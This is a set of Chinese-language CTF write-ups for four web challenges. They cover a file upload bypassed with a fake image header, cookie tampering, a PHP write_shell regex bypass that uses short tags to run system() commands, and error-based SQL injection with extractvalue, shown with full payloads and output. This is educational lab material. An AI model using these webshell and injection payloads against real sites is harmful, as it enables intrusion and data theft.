[WUSTCTF2020]CV Maker
思路
注册登录后发现有上传处,估计是文件上传了
解题
直接传一句话马被过滤,提示用了exif_imagetype这个函数
那么只要伪造文件魔术头就行

这里不知道为什么,传马没用,只好一遍遍传命令进去了
先ls,然后找到/Flag_aqi2282u922oiji这个文件,结束

注意
常用图片魔术头:GIF98a
[watevrCTF-2019]Cookie Store
解题
抓包改cookie,注意cookie是base64编码的
过于简单
[红明谷CTF 2021]write_shell
思路
代码审计
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}
function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>
解题
关键在于绕过正则
参考文献:无字母数字webshell总结 – 先知社区 (aliyun.com)
那么我们用短标签即可,空格可用%09代替(tab)
/?action=upload&data=<?=system("ls%09/")?>
/?action=upload&data=<?=system("cat%09/f*")?>
->
flag{0ac85c21-a0ab-4231-953e-10ae93805034} flag{0ac85c21-a0ab-4231-953e-10ae93805034}
注意
php短标签有两种:<??>和<?=?>,后者用的更多,payload在等号后面
[RCTF2015]EasySQL
思路
多注册几个用户名,发现存在二次注入
POC:username:1'" 修改密码时发现报错注入点

只要构造正确的payload就行
解题
这里按照标准流程用burp进行fuzz爆破,发现没有过滤extractvalue和updatexml
利用报错注入即可
参考文献:sql注入中报错注入函数extractvalue和updatexml函数的原理及使用_extractvalue函数-CSDN博客
username:
1"||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),0x7e))#
-> ~article,flag,users~
1"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='flag'),0x7e))#
-> ~flag~
1"||extractvalue(1,concat(0x7e,(select(group_concat(flag))from(flag)),0x7e))#
-> ~RCTF{Good job! But flag not her
1"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users'),0x7e))#
-> ~name,pwd,email,real_flag_1s_her
1"||extractvalue(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)),0x7e))#
-> ~xxx,xxx,xxx,xxx,xxx,xxx,xxx,xxx
1"||extractvalue(1,concat(0x7e,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f')),0x7e))#
-> ~flag{fdec1b42-33e1-4235-a622-a3
1"||extractvalue(1,reverse(concat(0x7e,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f')),0x7e)))#
-> ~}a9b357de343a-226a-5324-1e33-24
-> ~flag{fdec1b42-33e1-4235-a622-a343ed753b9a}~

注意
我对SQL报错注入还是不熟悉
regexp的使用注意一下,好像和普通正则有点不一样